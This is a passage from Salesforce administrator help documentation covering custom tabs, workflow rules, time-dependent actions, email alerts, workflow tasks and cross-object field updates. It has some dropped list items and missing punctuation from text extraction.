After creating your custom tabs, you can edit or delete them. Click Your Name > Setup > Create > Tabs to display a list of
your organizations custom tabs, web tabs, and Visualforce tabs. Use this page to view, create, edit, or delete custom tabs.
To view details for a custom tab, click the custom tab name.
To change the properties of a custom tab, click Edit, make the appropriate changes, and click Save. Before changing the
Splash Page Custom Link, see Defining Home Tab Components on page 1300 for information about creating a custom
link to use as a splash page for your custom tab.
To remove a custom tab, click Del.
To create a new custom tab, click New. See Creating Custom Object Tabs on page 1771, Creating Web Tabs on page 1773,
or Creating Visualforce Tabs on page 2113.
To share custom tabs with other users on Force.com AppExchange, see Overview of Packages on page 1937.
To enable Visualforce or web tabs for mobile users, edit the properties of the tabs and select the Mobile Ready checkbox.
See Creating Visualforce Tabs on page 2113 and Creating Web Tabs on page 1773. For more information about customizing
tabs in the mobile application, see Managing Mobile Tabs on page 971.
To create apps that can be upgraded, see Enabling Managed Packages for Your Organization on page 1942.
Customize Application
Your sales force operates more efficiently with standardized internal procedures and automated business processes. Many of
the tasks you normally assign, the emails you regularly send, and other record updates are part of an organization's standard
processes. Instead of doing this work manually, you can configure workflow and approvals to do it automatically.
1775
Create
Begin by designing workflow rules and approval processes, and associating them with actions such as email alerts, tasks, field
updates, or outbound messages.
About Workflow
Each workflow rule consists of:
Criteria that determine when Salesforce executes the workflow rule. Any change that causes a record to match this criteria
can trigger the workflow ruleeven changes to hidden fields.
Immediate actions to take when the workflow rule executes. For example, Salesforce can automatically send an email that
notifies the sales team when a new high-value opportunity is created.
Time-dependent actions that Salesforce queues when the workflow rule executes. For example, Salesforce can automatically
send an email reminder to the account team if a high-value opportunity is still open ten days before the specified close
date. When Salesforce triggers a workflow rule that has time-dependent actions, you can use the workflow queue to monitor
and cancel pending actions.
Email AlertsSend an email to one or more recipients. For example, automatically send sales management an email alert
when a sales representative qualifies a large deal.
TasksAssign a new task to a user, role, or record owner. For example, automatically assign follow-up tasks to a support
representative one week after a case is updated.
Field UpdatesUpdate the value of a field on a record. For example, automatically change the Owner field on a contract
three days before it expires.
Outbound MessagesSend a secure configurable API message (in XML format) to a designated listener. For example,
automatically initiate the reimbursement process for an approved expense report by triggering an outbound API message
to an external HR system.
About Approvals
An approval process is an automated process your organization can use to approve records in Salesforce. An approval process
specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records
included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when
a record is approved, rejected, recalled, or first submitted for approval. For more details about approval processes and what
they entail, see Getting Started with Approval Processes on page 1824.
See Also:
Creating Email Alerts for Workflow, Approvals, or Milestones
Creating Tasks for Workflow, Approvals, or Milestones
Defining Field Updates
Defining Outbound Messages
Creating Workflow Rules
Examples of Workflow Rules
Customizing Workflow and Approval Settings
Administrator tip sheet: Workflow: Automating The Process
Differences Between Auto-Response Rules and Workflow Alerts
Creating Approval Processes
1776
Create
Customize Application
Activate a workflow rule. Click Deactivate to prevent the rule from firing when its conditions are met.
Note:
You can deactivate a workflow rule at any time. However, if you deactivate a rule that has pending actions,
Salesforce completes those actions as long as the record that triggered the rule is not updated.
You can't add time-dependent workflow actions to active workflow rules. Deactivate the workflow rule first,
add the time-dependent workflow action, and reactivate the rule.
When tasks are created automatically by actions such as clicking the Send An Email button, they don't trigger
task-based workflow rules.
1777
Create
Tip: You can use the Developer Console to debug workflow rules. The Developer Console lets you view debug log
details and information about workflow rules and actions, such as the name of the user who triggered the workflow
rule and the name and ID of the record being evaluated.
See Also:
Creating Workflow Rules
Notes on Using Workflow Rules
Examples of Workflow Rules
Workflow and Approvals Overview
Managing Email Alerts
Managing Tasks for Workflow and Approvals
Managing Field Updates
Defining Outbound Messages
Differences Between Auto-Response Rules and Workflow Alerts
Customize Application
1778
Create
Customize Application
1. Click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules.
2. On the workflow rules list page, click New Rule.
3. Choose an object to which you want this workflow rule to apply.
Note:
If you have a workflow action that updates a field on a related object, that target object isn't the one associated
with the workflow rule.
To create workflow rules based on new case comments or incoming email messages that automatically update
fields on their associated cases, choose either Case Comment or Email Message. See Notes on Using Workflow
Rules for more information.
To create a site usage rule, choose one of the following:
Organization (for monthly page views allowed and monthly page views used fields)
Site (for site detail, daily bandwidth and request time, monthly page views allowed, and other fields)
User License (for the monthly logins allowed and monthly logins used fields)
The Organization and Site objects are only available if Force.com sites is enabled for your organization. The
User License object isn't dependent on sites, and is only available if you have Customer Portals or partner portals
enabled for your organization.
You can't create email alerts for workflow rules on activities.
4. Click Next.
See Also:
Configuring Rule Settings and Criteria
Configuring Workflow Actions
Activating a Workflow Rule
Creating Workflow Rules
1779
Create
Customize Application
After selecting the object for your workflow rule, you can configure its settings and criteria.
1. Enter a rule name.
2. Enter a description for the rule.
3. Choose the evaluation criteria:
When a record is created, or when a record is edited and did not previously meet the
rule criteria: Choose this option to include new records and updates to existing records, unless the rule just ran
and still meets the rule criteria. The rule isn't re-triggered on edits that don't affect rule criteria. For example, if setting
an opportunity rating to Hot causes the rule to run, with this option, the rule runs again only if the rating changes,
then changes back to Hotno matter how many times you edit the object.
Only when a record is created: Choose this option to ignore updates to existing records.
Every time a record is created or edited: Choose this option to include new records and updates to
existing records and repeatedly trigger the rule, even if the record still meets the criteria.
Note: You can't add time-dependent actions to a rule if you choose Every time a record is created
or edited.
Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set
the filter to Opportunity: Amount greater than 5000 if you want opportunity records with an amount greater than
$5,000 to trigger the rule.
If your organization uses multiple languages, enter filter values in your organization's default language. You can add
up to 25 filter criteria, of up to 255 characters each.
Note: Workflow rules and entry criteria for approval processes and steps respect the user's locale and aren't
triggered when the user is in a different language than that of the organization.
Choose formula evaluates to true and enter a formula that returns a value of True or False. Salesforce
triggers the rule if the formula returns True.
Examples of useful workflow formulas include:
If the number of filled positions equals the number of total positions on a job, update the Job Status field to
Filled.
1780
Create
If mileage expenses associated with visiting a customer site are 35 cents per mile and exceed a $1,000 limit,
automatically update the Approval Required field to Required.
If a monthly subscription-based opportunity amount is greater than $10,000, create a task for an opportunity owner
to follow up 60 days after the opportunity is closed.
The $Label variable isnt supported in workflow rule formulas. Also, some functions aren't available in workflow rule
formulas.
Tip: You can use merge fields for directly related objects in workflow rule formulas. For more information,
see Merge Fields Overview.
See Also:
Configuring Workflow Actions
Activating a Workflow Rule
Creating Workflow Rules
Customize Application
Add immediate and time-dependent actions to the workflow rule. Immediate actions trigger once evaluation criteria are met.
Time-dependent actions specify when Salesforce executes the workflow action. For example, Salesforce can automatically send
an email reminder to the account team if a high-value opportunity is still open ten days before the specified close date.
Tip: Time-dependent actions and time triggers are complex features with several considerations.
If you plan on configuring workflow rules that have time-dependent actions, specify a default workflow user. Salesforce
associates the default workflow user with a workflow rule if the user who initiated the rule is no longer active.
1. To add an immediate workflow action, click Add Workflow Action in the Immediate Workflow Actions section and
select:
1781
Create
2. To add a time-dependent workflow action, click Add Time Trigger in the Time-Dependent Workflow Actions section
and:
a. Specify a number of days or hours before or after a date relevant to the record, such as the date the record was created
or modified. If the workflow rule is in effect when this time occurs, the time trigger fires the workflow action.
b. Click Save.
Note: The Add Time Trigger button is unavailable if:
See Also:
Selecting the Object for Your Workflow Rule
Configuring Rule Settings and Criteria
Activating a Workflow Rule
Creating Workflow Rules
1782
Create
Customize Application
Salesforce doesn't trigger a workflow rule until you activate it. To activate a workflow rule, click Activate on the workflow
rule detail page. Click Deactivate to prevent a rule from triggering or if you want to edit the time-dependent actions and time
triggers associated with the rule.
See Also:
Selecting the Object for Your Workflow Rule
Configuring Rule Settings and Criteria
Configuring Workflow Actions
Creating Workflow Rules
Customize Application
Each workflow rule applies to a single object. For the maximum number of workflow rules allowed on an object, see
Salesforce Editions and Limits on page 2076.
For all custom objects and some standard objects, you can create workflow and approval actions where a change to a detail
record updates a field on the related master record. Cross-object field updates work for custom-to-custom master-detail
relationships, custom-to-standard master-detail relationships, and a few standard-to-standard master-detail relationships.
For more information, see Understanding Cross-Object Field Updates on page 1800.
The cross-object field update function may depend on certain critical updates being active. Click Your Name > Setup >
Critical Updates to see if your organization requires any updates.
1783
Create
Workflow rules can be triggered any time a record is saved or created, depending on your rule criteria. However, rules
created after saving records aren't triggered by those records retroactively.
Workflow rules are triggered when a standard object in a master-detail relationship is re-parented, even if the object's
evaluation criteria is set to When a record is created, or when a record is edited and did not
previously meet the rule criteria.
Workflow rules only trigger on converted leads if validation and triggers for lead convert are enabled in your organization.
If you have workflow rules on converted leads and want to use cross-object field updates on the resulting accounts and
opportunities, you must enable the lead setting Enable Validation and Triggers from Lead Convert.
Workflow rules on custom objects are automatically deleted if the custom object is deleted.
Workflow rules trigger automatically and are invisible to the user. Alternatively, approval processes allow users to submit
records for approval.
The order in which actions are executed is not guaranteed. Field update actions are executed first, followed by other actions.
To create workflow rules that update case fields based on new case comments or incoming email messages, choose Case
Comment or Email Message from the Select Object drop-down list; Email Message is only available if Email-to-Case
or On-Demand Email-to-Case is enabled. You can only create email message workflow rules for field updates, and case
comment workflow rules for field updates, email alerts, and outbound messages. For example, you can create a workflow
rule so that an email marked as Is Incoming changes its case's Status from Closed to New.
Saving or creating records can trigger more than one rule.
The following actions don't trigger workflow rules:
Changes you make to records while using Connect Offline are evaluated by workflow rules when you synchronize.
Salesforce processes any rules in the following order:
1.
2.
3.
4.
5.
Validation rules
Assignment rules
Auto-response rules
Workflow rules (with immediate actions)
Escalation rules
Workflow rules and entry criteria for approval processes and steps respect the user's locale and aren't triggered when the
user is in a different language than that of the organization.
If you use record types in your workflow rule criteria whose labels have been translated using the translation workbench,
the translated label value wont trigger the workflow rule. Workflow criteria evaluate the master label value and ignore the
translated value. To avoid this problem, set the workflow criteria to evaluate the master record type label value by entering
it manually in the Value field.
If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default.
Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship.
Workflow rules can't be triggered by campaign statistic fields, including individual campaign statistics and campaign
hierarchy statistics. For a list of campaign fields that cannot trigger workflow rules, see Campaign Fields on page 2854.
1784
Create
Tip: You can use the Developer Console to debug workflow rules. The Developer Console lets you view debug log
details and information about workflow rules and actions, such as the name of the user who triggered the workflow
rule and the name and ID of the record being evaluated.
Customize Application
Click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules to access the workflow rules list page.
Click the name of the rule with the workflow actions you want to edit.
Click Edit in the Workflow Actions section.
From this page you can:
Click Edit next to any workflow action or time trigger to modify it.
Click Remove next to any workflow action to remove it from the rule. This disassociates the workflow action from the
workflow rule but doesn't delete the workflow action.
Click Delete next to any time trigger to remove it from the rule. This deletes the time trigger and removes its associated
actions from the workflow rule but does not delete the workflow actions. The workflow actions are still available when
you click Add Workflow Action and choose the Select Existing Action option.
Click Add Workflow Action in the Immediate Workflow Actions section to add an immediate workflow action to
the workflow rule.
Click Add Time Trigger to add a time trigger to the workflow rule.
Click Add Workflow Action next to a time trigger to add time-dependent workflow actions to the time trigger.
5. Click Done.
See Also:
Managing Workflow Rules
Creating Workflow Rules
Time-Dependent Action and Time Trigger Considerations
Selecting Existing Actions
1785
Create
Customize Application
When creating time-dependent actions and time triggers for workflow rules, consider the following:
When defining a time trigger, use standard and custom date and date/time fields defined for the object. Specify time using
days and hours.
You can add actions to existing time triggers.
Time-dependent actions aren't executed independently. They're processed several times every hour, where they're grouped
together and executed as a single batch. Therefore, any triggers that fire as a result of those grouped actions are also executed
in a single batch. This behavior can cause you to exceed your Apex governor limits if you design your time-based workflow
in conjunction with Apex triggers.
Salesforce evaluates time-based workflow on the organization's time zone, not the users'. Users in different time zones
may see differences in behavior.
Salesforce doesn't necessarily execute time triggers in the order they appear on the workflow rule detail page. Workflow
rules list time triggers that use the Before field first, followed by time triggers that use the After field.
Salesforce doesn't display time-dependent action controls on the workflow rule edit page if you set the workflow rule
evaluation criteria to Every time a record is created or updated.
If you change a date field that is referenced by an unfired time trigger in a workflow rule that has been evaluated, Salesforce
recalculates the unfired time triggers associated with the rule. For example, if a workflow rule is scheduled to alert the
opportunity owner seven days before the opportunity close date and the close date is set to 2/20/2011, Salesforce sends the
alert on 2/13/2011. If the close date is updated to 2/10/2011 and the time trigger hasn't fired, Salesforce reschedules the
alert for 2/3/2011. If Salesforce recalculates the time triggers to a date in the past, Salesforce triggers the associated actions
shortly after you save the record.
If a workflow rule has a time trigger set for a time in the past, Salesforce queues the associated time-dependent actions to
execute sometime within the hour, depending on system usage. For example, if a workflow rule on opportunities is configured
to send an email alert seven days before the close date and you create an opportunity record with the close date set to today,
Salesforce sends the email alert within four hours after you create the opportunity.
Time-dependent actions remain in the workflow queue only as long as the workflow rule criteria are still valid. If a record
no longer matches the rule criteria, Salesforce removes the time-dependent actions queued for that record.
For example, an opportunity workflow rule may specify:
A criteria set to Opportunity: Status not equals to Closed Won, Closed Lost.
An associated time-dependent action with a time trigger set to seven days before the opportunity close date.
1786
Create
If a record that matches the criteria is created on July 1st and the Close Date is set to July 30th, the time-dependent
action is scheduled for July 23rd. However, if the opportunity is set to Closed Won or Closed Lost before July 23rd,
the time-dependent action is automatically removed from the queue.
Limitations
1787
Create
Salesforce limits the number of time triggers an organization can execute per hour. If an organization exceeds the limits
for its Edition, Salesforce defers the execution of the additional time triggers to the next hour. For example, if an Unlimited
Edition organization has 1,200 time triggers scheduled to execute between 4:00 PM and 5:00 PM, Salesforce processes
1,000 time triggers between 4:00 PM and 5:00 PM and the remaining 200 time triggers between 5:00 PM and 6:00 PM.
For more information on workflow limits, see Salesforce Editions and Limits.
You can't archive a product or price book that has pending actions.
You can't add or remove time triggers if:
See Also:
Managing Workflow Rules
Examples of Workflow Rules
Creating Workflow Rules
Managing Workflow Actions
Customize Application
1788
Create
Note: Before enabling email approval response, note that you cannot use this feature with approval processes in
which the assigned approver is a queue, or in a multi-step approval process in which the next approver is manually
chosen after the first step. Also, users that use Microsoft Word as their email editor must add the comments to
the end of the first line of the reply email instead of the second.
4. Click Save.
When you enable email approval response, Salesforce uses the following default email template for approval processes unless
you specify a custom email template:
If your organization has Approvals in Chatter enabled and the approver has opted to receive approval notifications as Chatter
posts, the default email template is appended with:
You can also approve, reject and comment on this request from your Chatter feed:
[link to approval post in Chatter]
If you select a custom email template when configuring an approval response, be sure it contains the above information so
users know how to correctly reply to the email approval request.
See Also:
Managing Workflow Rules
Creating Workflow Rules
Email Approval Response FAQ
1789
Create
Customize Application
Email alerts are emails generated by a workflow rule or approval process and sent to designated recipients whenever specific
business actions trigger the workflow rule or approval process. Email alerts contain the standard text and list of recipients for
an email. You must specify an email template for email alerts. To use a standard global From address for email alerts, like
support@company.com, set up an organization-wide address first.
To get started using email alerts, click Your Name > Setup > Create > Workflow & Approvals > Email Alerts.
From this page you can:
See Also:
Creating Email Alerts for Workflow, Approvals, or Milestones
Workflow Daily Email Limit
Workflow and Approvals Overview
Managing Workflow Rules
Differences Between Auto-Response Rules and Workflow Alerts
Customize Application
Customize Application
1790
Create
1. For workflow and approvals, click Your Name > Setup > Create > Workflow & Approvals > Email Alerts.
For milestones on entitlement processes, click Your Name > Setup > Customize > Entitlement Management > Entitlement
Processes, choose an entitlement process, a milestone, and click Add Workflow Action.
2. Click New Email Alert.
3. Configure the email alert:
a. Enter a description.
b. Enter a unique name to refer to this component in the API. The requirement for uniqueness is only within the selected
object type. You can have actions of the same type with the same unique name, provided they are defined for different
objects. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within
the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores.
c. If available, choose the object for this email alert.
Salesforce uses this object when generating merge field values for email templates with workflow rules and approval
processes. Also, you can define the recipients of this email alert using contact and user lookup fields that are relevant
to that object. For example, if you select Contract, you can define the contract signer as a recipient. The object is
read-only if the new email alert is associated with an approval process or workflow rule for a particular object.
Tip: To create workflow rules for case comments so that comments added to cases send email alerts when a
rule is triggered, select Case Comment in the Object drop-down list when creating a new workflow rule.
d. Choose an email template.
Note: If the email template you choose contains approval merge fields named
{!ApprovalRequest.field_name}, these fields will return values only when that email template is used
as the approval assignment template. If you use the template for any other email alert actionin either workflow
rules or approval processesthe merge fields will return a null value.
e. If available, select Protected Component to mark the alert as protected if it is part of a Managed - Released
package.
f. Select who should receive this email alert. Depending on your organization settings and the object you selected, some
options in this list may not be available.
Account OwnerThe user listed as the account owner of either the account itself or the account associated with
the record. This option only works for email alerts on accounts, opportunities, cases, contacts, contracts, and any
custom object that is a child of the account object. Also, the associated account must have an account owner specified.
If you select another object type or the associated account doesn't have an account owner, Salesforce sends the email
alert to the record owner instead.
Account TeamAll users assigned to a particular account team role.
Note: The Account Team option is always available; however, emails are only sent when the rule is
associated with the account object or any of its immediate child objects.
email fields.
1791
Create
Note: When creating email alerts for campaign members, Email Field refers to the email field on the
lead or contact that the campaign member is based on.
that role.
Related ContactAn associated contact on the record. For example, you can select the Customer Signed
By field for contracts that contain the name of the contract signer.
Related UserAn associated user on the record. For example, contract records have an Activated By field
that contains the name of the user that activated the contract.
RoleAll of the users assigned a particular role.
Role and Internal SubordinatesAll users in a particular role, plus all users in roles below that role,
excluding partner portal and Customer Portal users.
Role and SubordinatesAll users in a particular role, plus all users in roles below that role.
UserA particular user.
Sales TeamA member of the sales team. This option doesn't appear unless you have team selling enabled for
your opportunities.
Note: The Sales Team option only works for email alerts configured for opportunities. It doesn't work
for email alerts configured for child objects of opportunities.
g. Select the recipients who should receive this email alert in the Available Recipients list and click Add.
Note: If you change the object after selecting recipients, Salesforce clears the Selected Recipients list.
j. Click Save.
1792
Create
Note: If your email recipient is a record owner and the owner of the record is a queue, the queue email receives
the email alert. If the queue is set up so that email is sent to all members, queue members are notified as well. If
no queue email is specified, only queue members are notified.
4. To put email alerts into action, associate them with a workflow rule, approval process, or entitlement process.
Note: The daily limit for emails sent from workflow and approval-related email alerts is 1,000 per standard Salesforce
license per organization. The overall organization limit is 2,000,000. When the daily limit is reached, a warning email
goes out to the default workflow user. If the default workflow user isn't set, then the warning email is sent to an active
system administrator. For more information, see Workflow Daily Email Limit on page 1793.
See Also:
Workflow and Approvals Overview
Customize Application
Customize Application
The daily limit for emails sent from workflow and approval-related email alerts is 1,000 per standard Salesforce license per
organization. The overall organization limit is 2,000,000. When the daily limit is reached, a warning email goes out to the
default workflow user. If the default workflow user isn't set, then the warning email is sent to an active system administrator.
How the Workflow Daily Email Limit Works
After your organization has reached its limit:
Any emails in the workflow queue left over and not sent that day are discarded. Salesforce doesn't try to resend them later.
If a workflow rule with an action and an email alert is triggered, only the email action is blocked.
Final approval, final rejection, approval, rejection, and recall email actions are blocked.
An error message is added to the debug log.
The following items don't count against the workflow email limit:
1793
Create
The limit restriction is based on activity in the 24-hour period starting and ending at midnight GMT. Adding or removing
a user license immediately adjusts the limit's total. If you send an email alert to a group, every recipient in that group counts
against your daily workflow email limit.
See Also:
Salesforce Editions and Limits
Customize Application
A task is a type of workflow action that determines the details of an assignment given to a specified user by a workflow rule
or approval process. Create tasks and then associate them with the workflow rules or approval processes that will trigger them.
When a workflow rule or approval process meets the business conditions you set up, any tasks associated with it are assigned
to designated users with the Subject, Status, Priority, and Due Date of the workflow task.
To get started using tasks, click Your Name > Setup > Create > Workflow & Approvals > Tasks.
From this page you can:
Before you create a task for a custom object, make sure the custom object tracks activities.
When tasks are created automatically by actions such as clicking the Send An Email button, they don't trigger
task-based workflow rules.
Tasks aren't available for article types. See Defining Article Types on page 1480 for more information.
See Also:
Creating Tasks for Workflow, Approvals, or Milestones
Workflow and Approvals Overview
Managing Workflow Rules
1794
Create
Customize Application
Customize Application
If the assignee of a task is set to the record owner and the owner of a lead or case is a queue, the task is
assigned to the person who triggered the rule.
If the subject was translated, Salesforce creates the task in the assignee's language If you checked Notify
Assignee for the task, Salesforce sends the email in the assignee's language. However, if only the comments
field was translated, Salesforce creates the task and sends the email in the language of the user who triggered
the task.
If a custom object has a master-detail relationship with a standard object, the owner of the custom object
record is automatically set to the owner of the master standard object record. For example, if a custom object
called Expenses has a master-detail relationship with Accounts, the owner of each expense record is the
owner of the account for the expense.
If the assignee of a workflow task is a role and more than one user belongs to that role, the record owner
becomes the task assignee, regardless of their role. We recommend that you do not assign tasks to roles
with multiple users. Assigning tasks to roles with one user allows you to easily change the user in that role
without modifying the workflow rule.
When a lead is converted by someone who isn't the lead owner, all workflow tasks associated with the lead
that are assigned to that user, except email alerts, are reassigned to the lead owner. Workflow tasks assigned
to users other than the lead owner and lead converter aren't changed.
1795
Create
See Also:
Workflow and Approvals Overview
Entitlement Management Overview
Customize Application
Field updates allow you to automatically specify a field value. Field updates are actions associated with workflow rules, approval
processes, or entitlement processes.
Before you begin using field updates, review Field Update Considerations. To get started using field updates, click Your
Name > Setup > Create > Workflow & Approvals > Field Updates.
1796
Create
See Also:
Defining Field Updates
Understanding Cross-Object Field Updates
Workflow and Approvals Overview
Managing Workflow Rules
Customize Application
Field updates allow you to automatically specify a field value. Field updates are actions associated with workflow rules, approval
processes, or entitlement processes. Before you begin, review Field Update Considerations on page 1802.
Note: For all custom objects and some standard objects, you can create workflow and approval actions where a change
to a detail record updates a field on the related master record. Cross-object field updates work for custom-to-custom
master-detail relationships, custom-to-standard master-detail relationships, and a few standard-to-standard master-detail
relationships. For more information, see Understanding Cross-Object Field Updates on page 1800.
1. Click Your Name > Setup > Create > Workflow & Approvals > Field Updates.
For milestones on entitlement processes, click Your Name > Setup > Customize > Entitlement Management > Entitlement
Processes, choose an entitlement process, a milestone, and click Add Workflow Action.
2. Click New Field Update.
3. Configure the field update.
a. Enter a name for this field update.
b. Enter a unique name to refer to this component in the API. The requirement for uniqueness is only within the selected
object type. You can have actions of the same type with the same unique name, provided they are defined for different
objects. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within
the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores.
c. Enter a description.
1797
Create
d. Define the field update, including the object associated with the workflow rule or approval process, and the field to
update. Note that the field to update may be on a related object in a master-detail relationship. Fields are shown only
for the target object that you select.
Note: You can use field updates on encrypted custom fields, but if you try to use a formula to set the new value,
the encrypted field isn't available in the formula editor.
e. If available, check the Protected Component check box to mark the field update as protected. For more information,
see the Force.com Quick Reference for Developing Packages.
f. Select the Re-evaluate Workflow Rules After Field Change checkbox if you want workflow rules on this
object to be re-evaluated after the field value is updated. For more information, see Field Updates That Re-evaluate
Workflow Rules on page 1799.
g. Specify the new field value. The available options depend on the type of field you are updating. You can:
Choose A specific value, and enter the value in the space provided.
Choose A blank value (null) if you want Salesforce to remove any existing value and leave the field blank. This
option isn't available for required fields, checkboxes, and some other types of fields.
For record owners, choose the user to whom the record should be assigned. For case, lead, and custom object records,
you can also choose a queue for this field. Select Notify Assignee to send an email to the new record owner.
For checkboxes, choose True to select the checkbox and False to deselect it.
For picklists, select a specific value from the drop-down list, or select the value above or below the current value
based on the sorting specified in the picklist definition. If you sort values alphabetically, the values above or below
may be different for users in other languages.
Choose Use a formula to set the new value to calculate the value based on an expression, merge fields, or other
values.
If youre building a formula for approvals or rules, such as workflow, validation, assignment, auto-response, or
escalation, click Insert Field, choose a field, and click Insert.
To insert case merge fields so that email messages update the associated case fields, click Insert Field on the
Rule Criteria section and choose Email Message > Parent Case.
To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use
the examples in Operators and Functions on page 1203.
You can insert a function from the Functions list. Functions are pre-built formulas that you can customize with
your input parameters. See Operators and Functions for a description of each operator and function.
h. Click Save.
Tip: To create workflow rules so that case comments or emails automatically update fields on associated cases,
select Case Comment or Email Message in the Object drop-down list when creating a new workflow rule and
select Case in the Field to Update list. Email-to-Case or On-Demand Email-to-Case must be enabled for your
organization to use the Email Message in a workflow rule.
When cases are updated by an email-triggered workflow rule, the updated case can trigger:
Workflow rules
Validation rules
Updates to roll-up summary fields
Escalation rules
Apex triggers
1798
Create
Entitlement processes
Assignment rules
Auto-response rules
See Also:
Managing Field Updates
Understanding Cross-Object Field Updates
Workflow and Approvals Overview
Approval Processes Overview
Entitlement Management Overview
Selecting the Re-evaluate Workflow Rules After Field Change checkbox on the Field Update Edit page allows
you to set a workflow field update to re-evaluate all workflow rules on the object if the field update results in a change to the
value of the field.
If the field update changes the fields value, all workflow rules on the associated object are re-evaluated. Any workflow
rules whose criteria are met as a result of the field update will be triggered.
If any of the triggered workflow rules result in another field update thats also enabled for workflow rule re-evaluation, a
domino effect occurs, and more workflow rules can be re-evaluated as a result of the newly-triggered field update. This
cascade of workflow rule re-evaluation and triggering can happen up to five times after the initial field update that started
it.
In a batch update, workflow is only retriggered on the entities where there is a change.
Only workflow rules on the same object as the initial field update will be re-evaluated and triggered.
Only workflow rules that didnt fire before will be retriggered.
Cross-object workflow rules arent candidates for re-evaluation.
Cross-object field updates that cause a field value to change dont trigger workflow rule re-evaluation on the associated
object.
An approval process can specify a field update action that re-evaluates workflow rules for the updated object. If, however,
the re-evaluated workflow rules include a cross-object field update, those cross-object field updates will be ignored. To
1799
Create
prevent this, ensure that in the approval actions you deselect Re-evaluate Workflow Rules After Field Change for field
updates.
See Also:
Managing Field Updates
Defining Field Updates
Field Update Considerations
Managing Workflow Rules
For all custom objects and some standard objects, you can create workflow and approval actions where a change to a detail
record updates a field on the related master record. Cross-object field updates work for custom-to-custom master-detail
relationships, custom-to-standard master-detail relationships, and a few standard-to-standard master-detail relationships. For
example, in a custom recruiting application, create a workflow rule that sets the status of an application (the master object) to
Closed when a candidate (the detail object) accepts the job. Or, for standard objects, create a rule to change the status of a
case from Awaiting Customer Response to In Progress when a customer adds a case comment.
Note: The cross-object field update function may depend on certain critical updates being active. Click Your Name
> Setup > Critical Updates to see if your organization requires any updates.
Account
Asset
Campaign
Case
Contact
Contract
Contract Line Item
Entitlement
Opportunity
Order
Question
1800
Create
Quote
Service Contract
Solution
Opportunity updating AccountSupported for both business accounts and person accounts.
Note: If you have workflow rules on converted leads and want to use cross-object field updates on the resulting accounts
and opportunities, you must enable the lead setting Enable Validation and Triggers from Lead Convert.
Standard-to-standard cross-object field update actions cant be used in, or assigned to, approval processes.
A standard-to-standard cross-object field update can still update a parent record even if the user doesnt have edit access
to it.
Note: If you have Apex code in place thats updating parent fields in the same relationships supported by cross-object
field updates, consider leveraging the functionality of the standard cross-object field updates and then removing your
Apex code. Otherwise, both will fire, and since workflow rules run after Apex triggers, the workflow field update will
override any change made by your Apex code.
See Also:
Defining Field Updates
Managing Field Updates
Field Update Considerations
Overview of Relationships
Case Comments Overview
What is a Person Account?
1801
Create
Customize Application
When creating field updates for workflow rules or approval processes, consider the following:
Field Update Processing
Field updates occur before email alerts, tasks, and outbound messages.
Field updates occur after case assignment, lead assignment, auto-response, and case escalation rules.
Field updates function independently of field-level security. Therefore, a workflow rule can update fields even though they
are hidden on the user's page layout.
The result of a field update is unpredictable when a single workflow rule includes multiple field updates that apply different
values to the same field.
Field updates may affect the information in a related list. For example, if a field such as the Amount or Close Date of
an opportunity is set to be updated, it will affect the Stage History related list on opportunities.
If a user gets a field update error when saving a record, you can use the debug log to see which field update failed. The
debug log stops when a failure occurs.
For reminder fields on tasks and events:
Field updates can set the reminder for a task or event but they can't use the due date of a task or the scheduled time of
an event.
Formulas for date/time values are calculated in days. Divide the value by 1440the number of minutes in a dayto
express the value in minutes. For example, the formula Now()-7 means seven days ago, while Now()-7/1440 means
seven minutes ago.
If your organization uses multiple currencies, currency fields are updated using the record's currency. If you choose to
update a field based on a formula, any values in your formula are interpreted in the currency of the record.
Field updates are tracked in the History related list if you have set history tracking on those fields.
Because updates to records based on workflow rules don't trigger validation rules, workflow rules can invalidate previously
valid fields.
Tip: Salesforce processes any rules in the following order:
1.
2.
3.
4.
5.
Validation rules
Assignment rules
Auto-response rules
Workflow rules (with immediate actions)
Escalation rules
1802
Create
For all custom objects and some standard objects, you can create workflow and approval actions where a change to a detail
record updates a field on the related master record. Cross-object field updates work for custom-to-custom master-detail
relationships, custom-to-standard master-detail relationships, and a few standard-to-standard master-detail relationships.
For more information, see Understanding Cross-Object Field Updates on page 1800.
The cross-object field update function may depend on certain critical updates being active. Click Your Name > Setup >
Critical Updates to see if your organization requires any updates.
Field update actions that update fields on related objects are supported only for use with workflow rules. Approval processes
can't use cross-object field update actions.
An approval process can specify a field update action that re-evaluates workflow rules for the updated object. If, however,
the re-evaluated workflow rules include a cross-object field update, those cross-object field updates will be ignored. To
prevent this, ensure that in the approval actions you deselect Re-evaluate Workflow Rules After Field Change for field
updates.
Before changing a custom field's type, make sure that it isn't the target of a workflow field update or referenced in a field
update formula that would be invalidated by the new type.
You can't delete a custom field that is referenced by a field update.
You can use field updates on encrypted custom fields, but if you try to use a formula to set the new value, the encrypted
field isn't available in the formula editor.
You can define field updates for the Stage field on opportunities, but be aware of how this field affects the Type and
Forecast Category fields. See Picklists with Additional Information on page 1062 for information on the relationship
between these fields.
You can define field updates using the Amount field on opportunities but it will only apply to those opportunities that
don't have products. Adding products to an opportunity changes the Amount field to a read-only field that is automatically
calculated and not affected by that field update.
You can define field updates for the Status field on contracts. However, the value of this field may affect the value of the
Status Category field as well.
Note: The Status field cannot be updated by approval processes. If you want to use the contract status as part
of an approval process, Salesforce recommends creating a custom status field.
Avoid creating a field update for contracts or orders that changes the Status field to any value other than Approved.
The results of a field update can't trigger additional rules such as validation, assignment, auto-response, or escalation rules.
The results of a field update can trigger additional workflow rules if you have flagged the field update to do so. For more
information, see Field Updates That Re-evaluate Workflow Rules on page 1799.
Read-only fields like formula or auto-number fields aren't available for field updates.
The Language picklist field on multilingual solutions isn't available for field updates.
Email message workflow rules can only be associated with field updates.
If a field update references a specific user, you can't deactivate that user. For example, if your field update is designed to
change the owner of a record to Bob Smith, change the field update before deactivating Bob Smith.
Some fields, such as Related To and Private fields on activities, aren't available for field updates.
